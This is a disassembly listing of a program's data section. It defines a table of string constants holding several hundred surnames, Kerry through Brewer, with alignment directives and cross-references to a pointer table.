aKerry db 'Kerry',0 ; DATA XREF: ___:0042E244o
align 4
aKendall db 'Kendall',0 ; DATA XREF: ___:0042E240o
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0042E23Co
aKempton db 'Kempton',0 ; DATA XREF: ___:0042E238o
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0042E234o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0042E230o
align 4
aKeith db 'Keith',0 ; DATA XREF: ___:0042E22Co
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0042E228o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0042E224o
align 4
aKee db 'Kee',0 ; DATA XREF: ___:0042E220o
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0042E21Co
aKasten db 'Kasten',0 ; DATA XREF: ___:0042E218o
align 10h
aKassower db 'Kassower',0 ; DATA XREF: ___:0042E214o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0042E210o
align 4
aKangis db 'Kangis',0 ; DATA XREF: ___:0042E20Co
align 10h
aKamel db 'Kamel',0 ; DATA XREF: ___:0042E208o
align 4
aKalman db 'Kalman',0 ; DATA XREF: ___:0042E204o
align 10h
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0042E200o
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0042E1FCo
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0042E1F8o
align 10h
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0042E1F4o
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0042E1F0o
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0042E1ECo
align 10h
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0042E1E8o
aJulious db 'Julious',0 ; DATA XREF: ___:0042E1E4o
aJuliano db 'Juliano',0 ; DATA XREF: ___:0042E1E0o
aJucks db 'Jucks',0 ; DATA XREF: ___:0042E1DCo
align 10h
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0042E1D8o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0042E1D4o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0042E1D0o
align 4
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0042E1CCo
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0042E1C8o
aJewett db 'Jewett',0 ; DATA XREF: ___:0042E1C4o
align 4
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0042E1C0o
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0042E1BCo
aJellis db 'Jellis',0 ; DATA XREF: ___:0042E1B8o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0042E1B4o
aJay db 'Jay',0 ; DATA XREF: ___:0042E1B0o
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0042E1ACo
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0042E1A8o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0042E1A4o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0042E1A0o
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0042E19Co
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0042E198o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0042E194o
align 4
aJagers db 'Jagers',0 ; DATA XREF: ___:0042E190o
align 4
aJackson db 'Jackson',0 ; DATA XREF: ___:0042E18Co
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0042E188o
aIyer db 'Iyer',0 ; DATA XREF: ___:0042E184o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: ___:0042E180o
align 10h
aIsbill db 'Isbill',0 ; DATA XREF: ___:0042E17Co
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0042E178o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0042E174o
align 4
aInniss db 'Inniss',0 ; DATA XREF: ___:0042E170o
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0042E16Co
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0042E168o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0042E164o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0042E160o
align 10h
aHyde db 'Hyde',0 ; DATA XREF: ___:0042E15Co
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0042E158o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0042E154o
align 10h
aHupp db 'Hupp',0 ; DATA XREF: ___:0042E150o
align 4
aHuntington db 'Huntington',0 ; DATA XREF: ___:0042E14Co
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: ___:0042E148o
align 10h
aHuidekoper db 'Huidekoper',0 ; DATA XREF: ___:0042E144o
align 4
aHuey db 'Huey',0 ; DATA XREF: ___:0042E140o
align 4
aHoy db 'Hoy',0 ; DATA XREF: ___:0042E13Co
aHoward db 'Howard',0 ; DATA XREF: ___:0042E138o
align 10h
aHottle db 'Hottle',0 ; DATA XREF: ___:0042E134o
align 4
aHostage db 'Hostage',0 ; DATA XREF: ___:0042E130o
aHoshida db 'Hoshida',0 ; DATA XREF: ___:0042E12Co
aHorsley db 'Horsley',0 ; DATA XREF: ___:0042E128o
aHopkins db 'Hopkins',0 ; DATA XREF: ___:0042E124o
aHooker db 'Hooker',0 ; DATA XREF: ___:0042E120o
align 10h
aHolzman db 'Holzman',0 ; DATA XREF: ___:0042E11Co
aHolway db 'Holway',0 ; DATA XREF: ___:0042E118o
align 10h
aHolter db 'Holter',0 ; DATA XREF: ___:0042E114o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: ___:0042E110o
aHolmes db 'Holmes',0 ; DATA XREF: ___:0042E10Co
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: ___:0042E108o
align 10h
aHokanson db 'Hokanson',0 ; DATA XREF: ___:0042E104o
align 4
aHoffman db 'Hoffman',0 ; DATA XREF: ___:0042E100o
aHoffer db 'Hoffer',0 ; DATA XREF: ___:0042E0FCo
align 4
aHock db 'Hock',0 ; DATA XREF: ___:0042E0F8o
align 4
aHoang db 'Hoang',0 ; DATA XREF: ___:0042E0F4o
align 4
aHitchcock db 'Hitchcock',0 ; DATA XREF: ___:0042E0F0o
align 4
aHirst db 'Hirst',0 ; DATA XREF: ___:0042E0ECo
align 10h
aHind db 'Hind',0 ; DATA XREF: ___:0042E0E8o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: ___:0042E0E4o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: ___:0042E0E0o
align 4
aHeubert db 'Heubert',0 ; DATA XREF: ___:0042E0DCo
aHester db 'Hester',0 ; DATA XREF: ___:0042E0D8o
align 4
aHerrera db 'Herrera',0 ; DATA XREF: ___:0042E0D4o
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0042E0D0o
align 10h
aHenrichs db 'Henrichs',0 ; DATA XREF: ___:0042E0CCo
align 4
aHenery db 'Henery',0 ; DATA XREF: ___:0042E0C8o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: ___:0042E0C4o
align 10h
aHelprin db 'Helprin',0 ; DATA XREF: ___:0042E0C0o
aHellmiss db 'Hellmiss',0 ; DATA XREF: ___:0042E0BCo
align 4
aHellman db 'Hellman',0 ; DATA XREF: ___:0042E0B8o
aHeiland db 'Heiland',0 ; DATA XREF: ___:0042E0B4o
aHeft db 'Heft',0 ; DATA XREF: ___:0042E0B0o
align 4
aHeermans db 'Heermans',0 ; DATA XREF: ___:0042E0ACo
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: ___:0042E0A8o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: ___:0042E0A4o
align 4
aHayes db 'Hayes',0 ; DATA XREF: ___:0042E0A0o
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: ___:0042E09Co
align 4
aHaviaras db 'Haviaras',0 ; DATA XREF: ___:0042E098o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: ___:0042E094o
aHartnett db 'Hartnett',0 ; DATA XREF: ___:0042E090o
align 4
aHartmann db 'Hartmann',0 ; DATA XREF: ___:0042E08Co
align 4
aHartman db 'Hartman',0 ; DATA XREF: ___:0042E088o
aHarrigan db 'Harrigan',0 ; DATA XREF: ___:0042E084o
align 4
aHarlow db 'Harlow',0 ; DATA XREF: ___:0042E080o
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: ___:0042E07Co
align 10h
aHarding db 'Harding',0 ; DATA XREF: ___:0042E078o
aHanssen db 'Hanssen',0 ; DATA XREF: ___:0042E074o
aHand db 'Hand',0 ; DATA XREF: ___:0042E070o
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: ___:0042E06Co
align 4
aHamer db 'Hamer',0 ; DATA XREF: ___:0042E068o
align 4
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: ___:0042E064o
align 4
aHalpert db 'Halpert',0 ; DATA XREF: ___:0042E060o
aHallowell db 'Hallowell',0 ; DATA XREF: ___:0042E05Co
align 10h
aHalkias db 'Halkias',0 ; DATA XREF: ___:0042E058o
aHaley db 'Haley',0 ; DATA XREF: ___:0042E054o
align 10h
aHackshaw db 'Hackshaw',0 ; DATA XREF: ___:0042E050o
align 4
aHackman db 'Hackman',0 ; DATA XREF: ___:0042E04Co
aHaar db 'Haar',0 ; DATA XREF: ___:0042E048o
align 4
aHa db 'Ha',0 ; DATA XREF: ___:0042E044o
align 10h
aGuo db 'Guo',0 ; DATA XREF: ___:0042E040o
aGunn db 'Gunn',0 ; DATA XREF: ___:0042E03Co
align 4
aGuenthart db 'Guenthart',0 ; DATA XREF: ___:0042E038o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: ___:0042E034o
align 10h
aGruner db 'Gruner',0 ; DATA XREF: ___:0042E030o
align 4
aGrummell db 'Grummell',0 ; DATA XREF: ___:0042E02Co
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: ___:0042E028o
align 10h
aGriffiths db 'Griffiths',0 ; DATA XREF: ___:0042E024o
align 4
aGreenfeld db 'Greenfeld',0 ; DATA XREF: ___:0042E020o
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: ___:0042E01Co
align 4
aGravell db 'Gravell',0 ; DATA XREF: ___:0042E018o
aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E014o
align 4
aGoody db 'Goody',0 ; DATA XREF: ___:0042E010o
align 4
aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E00Co
align 4
aGood db 'Good',0 ; DATA XREF: ___:0042E008o
align 10h
aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E004o
align 4
aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E000o
align 4
aGlendon db 'Glendon',0 ; DATA XREF: ___:0042DFFCo
aGlegg db 'Glegg',0 ; DATA XREF: ___:0042DFF8o
align 4
aGleason db 'Gleason',0 ; DATA XREF: ___:0042DFF4o
aGist db 'Gist',0 ; DATA XREF: ___:0042DFF0o
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042DFECo
align 4
aGill db 'Gill',0 ; DATA XREF: ___:0042DFE8o
align 4
aGili db 'Gili',0 ; DATA XREF: ___:0042DFE4o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042DFE0o
aGibson db 'Gibson',0 ; DATA XREF: ___:0042DFDCo
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042DFD8o
aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042DFD4o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042DFD0o
aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042DFCCo
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042DFC8o
align 10h
aGeller db 'Geller',0 ; DATA XREF: ___:0042DFC4o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: ___:0042DFC0o
aGarman db 'Garman',0 ; DATA XREF: ___:0042DFBCo
align 4
aGarfield db 'Garfield',0 ; DATA XREF: ___:0042DFB8o
align 4
aGambini db 'Gambini',0 ; DATA XREF: ___:0042DFB4o
aGalwey db 'Galwey',0 ; DATA XREF: ___:0042DFB0o
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042DFACo
align 10h
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042DFA8o
align 4
aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042DFA4o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042DFA0o
align 10h
aFurth db 'Furth',0 ; DATA XREF: ___:0042DF9Co
align 4
aFuller db 'Fuller',0 ; DATA XREF: ___:0042DF98o
align 10h
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042DF94o
align 4
aFrye db 'Frye',0 ; DATA XREF: ___:0042DF90o
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042DF8Co
align 10h
aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042DF88o
aFrisken db 'Frisken',0 ; DATA XREF: ___:0042DF84o
aFriedland db 'Friedland',0 ; DATA XREF: ___:0042DF80o
align 4
aFried db 'Fried',0 ; DATA XREF: ___:0042DF7Co
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042DF78o
align 10h
aFreid db 'Freid',0 ; DATA XREF: ___:0042DF74o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042DF70o
align 4
aFranz db 'Franz',0 ; DATA XREF: ___:0042DF6Co
align 10h
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042DF68o
align 10h
aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042DF64o
align 4
aFossi db 'Fossi',0 ; DATA XREF: ___:0042DF60o
align 4
aFossey db 'Fossey',0 ; DATA XREF: ___:0042DF5Co
align 4
aFortier db 'Fortier',0 ; DATA XREF: ___:0042DF58o
aFortes db 'Fortes',0 ; DATA XREF: ___:0042DF54o
align 4
aForester db 'Forester',0 ; DATA XREF: ___:0042DF50o
align 4
aFolks db 'Folks',0 ; DATA XREF: ___:0042DF4Co
align 10h
aFlores db 'Flores',0 ; DATA XREF: ___:0042DF48o
align 4
aFlier db 'Flier',0 ; DATA XREF: ___:0042DF44o
align 10h
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042DF40o
aFisk db 'Fisk',0 ; DATA XREF: ___:0042DF3Co
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042DF38o
aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042DF34o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042DF30o
aFink db 'Fink',0 ; DATA XREF: ___:0042DF2Co
align 4
aField db 'Field',0 ; DATA XREF: ___:0042DF28o
align 4
aFido db 'Fido',0 ; DATA XREF: ___:0042DF24o
align 4
aFeuer db 'Feuer',0 ; DATA XREF: ___:0042DF20o
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042DF1Co
align 10h
aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042DF18o
align 4
aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042DF14o
align 4
aFernald db 'Fernald',0 ; DATA XREF: ___:0042DF10o
aFeldman db 'Feldman',0 ; DATA XREF: ___:0042DF0Co
aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042DF08o
align 10h
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042DF04o
align 4
aFates db 'Fates',0 ; DATA XREF: ___:0042DF00o
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042DEFCo
align 4
aFarren db 'Farren',0 ; DATA XREF: ___:0042DEF8o
align 4
aFarone db 'Farone',0 ; DATA XREF: ___:0042DEF4o
align 4
aFaris db 'Faris',0 ; DATA XREF: ___:0042DEF0o
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042DEECo
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042DEE8o
align 4
aFaioes db 'Faioes',0 ; DATA XREF: ___:0042DEE4o
align 4
aFagan db 'Fagan',0 ; DATA XREF: ___:0042DEE0o
align 4
aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042DEDCo
aEverett db 'Everett',0 ; DATA XREF: ___:0042DED8o
aEuripides db 'Euripides',0 ; DATA XREF: ___:0042DED4o
align 4
aEtter db 'Etter',0 ; DATA XREF: ___:0042DED0o
align 10h
aEstes db 'Estes',0 ; DATA XREF: ___:0042DECCo
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042DEC8o
align 4
aErez db 'Erez',0 ; DATA XREF: ___:0042DEC4o
align 4
aErdos db 'Erdos',0 ; DATA XREF: ___:0042DEC0o
align 4
aErdman db 'Erdman',0 ; DATA XREF: ___:0042DEBCo
align 4
aErbach db 'Erbach',0 ; DATA XREF: ___:0042DEB8o
align 4
aEppling db 'Eppling',0 ; DATA XREF: ___:0042DEB4o
aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042DEB0o
aEncinas db 'Encinas',0 ; DATA XREF: ___:0042DEACo
aElvis db 'Elvis',0 ; DATA XREF: ___:0042DEA8o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042DEA4o
align 10h
aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042DEA0o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042DE9Co
align 4
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042DE98o
aEdward db 'Edward',0 ; DATA XREF: ___:0042DE94o
align 4
aEdner db 'Edner',0 ; DATA XREF: ___:0042DE90o
align 4
aEdley db 'Edley',0 ; DATA XREF: ___:0042DE8Co
align 4
aEckel db 'Eckel',0 ; DATA XREF: ___:0042DE88o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042DE84o
aEardley db 'Eardley',0 ; DATA XREF: ___:0042DE80o
aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042DE7Co
align 4
aDussault db 'Dussault',0 ; DATA XREF: ___:0042DE78o
align 4
aDurrett db 'Durrett',0 ; DATA XREF: ___:0042DE74o
aDuffin db 'Duffin',0 ; DATA XREF: ___:0042DE70o
align 4
aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042DE6Co
aDrinker db 'Drinker',0 ; DATA XREF: ___:0042DE68o
aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042DE64o
align 4
aDoug db 'Doug',0 ; DATA XREF: ___:0042DE60o
align 4
aDoty db 'Doty',0 ; DATA XREF: ___:0042DE5Co
align 4
aDosi db 'Dosi',0 ; DATA XREF: ___:0042DE58o
align 4
aDorf db 'Dorf',0 ; DATA XREF: ___:0042DE54o
align 4
aDore db 'Dore',0 ; DATA XREF: ___:0042DE50o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: ___:0042DE4Co
align 4
aDonner db 'Donner',0 ; DATA XREF: ___:0042DE48o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: ___:0042DE44o
aDoherty db 'Doherty',0 ; DATA XREF: ___:0042DE40o
aDockery db 'Dockery',0 ; DATA XREF: ___:0042DE3Co
aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042DE38o
aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042DE34o
align 4
aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042DE30o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042DE2Co
align 10h
aDifabio db 'Difabio',0 ; DATA XREF: ___:0042DE28o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042DE24o
align 4
aDicks db 'Dicks',0 ; DATA XREF: ___:0042DE20o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042DE1Co
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042DE18o
aDesombre db 'Desombre',0 ; DATA XREF: ___:0042DE14o
align 4
aDenison db 'Denison',0 ; DATA XREF: ___:0042DE10o
aDenham db 'Denham',0 ; DATA XREF: ___:0042DE0Co
align 4
aDenault db 'Denault',0 ; DATA XREF: ___:0042DE08o
aDemusz db 'Demusz',0 ; DATA XREF: ___:0042DE04o
align 4
aDempster db 'Dempster',0 ; DATA XREF: ___:0042DE00o
align 4
aDeming db 'Deming',0 ; DATA XREF: ___:0042DDFCo
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
align 4
aDelger db 'Delger',0 ; DATA XREF: ___:0042DDF4o
align 10h
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042DDF0o
align 10h
aDelattre db 'Delattre',0 ; DATA XREF: ___:0042DDECo
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042DDE8o
align 4
aDees db 'Dees',0 ; DATA XREF: ___:0042DDE4o
align 10h
aDebroff db 'Debroff',0 ; DATA XREF: ___:0042DDE0o
aDerousse db 'deRousse',0 ; DATA XREF: ___:0042DDDCo
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
align 10h
aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042DDD4o
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042DDD0o
align 4
aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042DDCCo
aDavid db 'David',0 ; DATA XREF: ___:0042DDC8o
align 4
aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042DDC4o
aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042DDC0o
align 4
aDas db 'Das',0 ; DATA XREF: ___:0042DDBCo
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice db 'Dapice',0 ; DATA XREF: ___:0042DDB4o
align 4
aDante db 'Dante',0 ; DATA XREF: ___:0042DDB0o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: ___:0042DDACo
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042DDA8o
aDaly db 'Daly',0 ; DATA XREF: ___:0042DDA4o
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042DDA0o
align 10h
aDasilva db 'daSilva',0 ; DATA XREF: ___:0042DD9Co
aCyders db 'Cyders',0 ; DATA XREF: ___:0042DD98o
align 10h
aCvek db 'Cvek',0 ; DATA XREF: ___:0042DD94o
align 4
aCutler db 'Cutler',0 ; DATA XREF: ___:0042DD90o
align 10h
aCurrier db 'Currier',0 ; DATA XREF: ___:0042DD8Co
aCui db 'Cui',0 ; DATA XREF: ___:0042DD88o
aCroxton db 'Croxton',0 ; DATA XREF: ___:0042DD84o
aCroxen db 'Croxen',0 ; DATA XREF: ___:0042DD80o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042DD7Co
aCrocker db 'Crocker',0 ; DATA XREF: ___:0042DD78o
aCrawford db 'Crawford',0 ; DATA XREF: ___:0042DD74o
align 4
aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042DD70o
aCounter db 'Counter',0 ; DATA XREF: ___:0042DD6Co
aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042DD68o
align 4
aCornish db 'Cornish',0 ; DATA XREF: ___:0042DD64o
aCorey db 'Corey',0 ; DATA XREF: ___:0042DD60o
align 4
aConnors db 'Connors',0 ; DATA XREF: ___:0042DD5Co
aCondodina db 'Condodina',0 ; DATA XREF: ___:0042DD58o
align 4
aConcino db 'Concino',0 ; DATA XREF: ___:0042DD54o
aComstock db 'Comstock',0 ; DATA XREF: ___:0042DD50o
align 4
aCompton db 'Compton',0 ; DATA XREF: ___:0042DD48o
; ___:0042DD4Co
aCollis db 'Collis',0 ; DATA XREF: ___:0042DD44o
align 4
aCollard db 'Collard',0 ; DATA XREF: ___:0042DD40o
aColella db 'Colella',0 ; DATA XREF: ___:0042DD3Co
aColdren db 'Coldren',0 ; DATA XREF: ___:0042DD38o
aCoito db 'Coito',0 ; DATA XREF: ___:0042DD34o
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042DD30o
aClow db 'Clow',0 ; DATA XREF: ___:0042DD2Co
align 4
aClifton db 'Clifton',0 ; DATA XREF: ___:0042DD28o
aClement db 'Clement',0 ; DATA XREF: ___:0042DD24o
aClark db 'Clark',0 ; DATA XREF: ___:0042DD20o
align 4
aClancy db 'Clancy',0 ; DATA XREF: ___:0042DD1Co
align 4
aClaffey db 'Claffey',0 ; DATA XREF: ___:0042DD18o
aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042DD14o
align 10h
aCicero db 'Cicero',0 ; DATA XREF: ___:0042DD10o
align 4
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042DD0Co
align 4
aChurch db 'Church',0 ; DATA XREF: ___:0042DD08o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042DD04o
align 4
aChu db 'Chu',0 ; DATA XREF: ___:0042DD00o
aChristopher db 'Christopher',0 ; DATA XREF: ___:0042DCFCo
aChristie db 'Christie',0 ; DATA XREF: ___:0042DCF8o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: ___:0042DCF4o
align 10h
aChristian db 'Christian',0 ; DATA XREF: ___:0042DCF0o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: ___:0042DCECo
aChinman db 'Chinman',0 ; DATA XREF: ___:0042DCE8o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042DCE4o
aChilds db 'Childs',0 ; DATA XREF: ___:0042DCE0o
align 4
aChildress db 'Childress',0 ; DATA XREF: ___:0042DCDCo
align 10h
aChien db 'Chien',0 ; DATA XREF: ___:0042DCD8o
align 4
aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DCD4o
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DCD0o
align 10h
aCherry db 'Cherry',0 ; DATA XREF: ___:0042DCCCo
align 4
aCheang db 'Cheang',0 ; DATA XREF: ___:0042DCC8o
align 10h
aCharles db 'Charles',0 ; DATA XREF: ___:0042DCC4o
aChapman db 'Chapman',0 ; DATA XREF: ___:0042DCC0o
aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DCBCo
aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DCB8o
align 4
aCavell db 'Cavell',0 ; DATA XREF: ___:0042DCB4o
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DCB0o
align 4
aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DCACo
align 4
aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DCA8o
align 4
aCase db 'Case',0 ; DATA XREF: ___:0042DCA4o
align 4
aCascio db 'Cascio',0 ; DATA XREF: ___:0042DCA0o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DC9Co
align 4
aCarper db 'Carper',0 ; DATA XREF: ___:0042DC98o
align 10h
aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DC94o
align 4
aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DC90o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DC8Co
aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DC88o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DC84o
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DC80o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DC7Co
aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DC78o
aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DC74o
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DC70o
align 4
aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DC6Co
align 4
aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DC68o
align 10h
aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DC64o
aCanley db 'Canley',0 ; DATA XREF: ___:0042DC60o
align 10h
aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DC5Co
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DC58o
align 4
aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DC54o
align 10h
aCage db 'Cage',0 ; DATA XREF: ___:0042DC50o
align 4
aByrd db 'Byrd',0 ; DATA XREF: ___:0042DC4Co
align 10h
aByerly db 'Byerly',0 ; DATA XREF: ___:0042DC48o
align 4
aByatt db 'Byatt',0 ; DATA XREF: ___:0042DC44o
align 10h
aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DC40o
aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DC3Co
align 4
aBurke db 'Burke',0 ; DATA XREF: ___:0042DC38o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DC34o
align 4
aBurden db 'Burden',0 ; DATA XREF: ___:0042DC30o
align 4
aBunton db 'Bunton',0 ; DATA XREF: ___:0042DC2Co
align 4
aBullard db 'Bullard',0 ; DATA XREF: ___:0042DC28o
aBudding db 'Budding',0 ; DATA XREF: ___:0042DC24o
aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DC20o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DC1Co
aBrook db 'Brook',0 ; DATA XREF: ___:0042DC18o
align 4
aBroca db 'Broca',0 ; DATA XREF: ___:0042DC14o
align 4
aBritz db 'Britz',0 ; DATA XREF: ___:0042DC10o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DC0Co
aBridges db 'Bridges',0 ; DATA XREF: ___:0042DC08o
aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DC04o
align 4
aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DBFCo
; ___:0042DC00o
align 10h
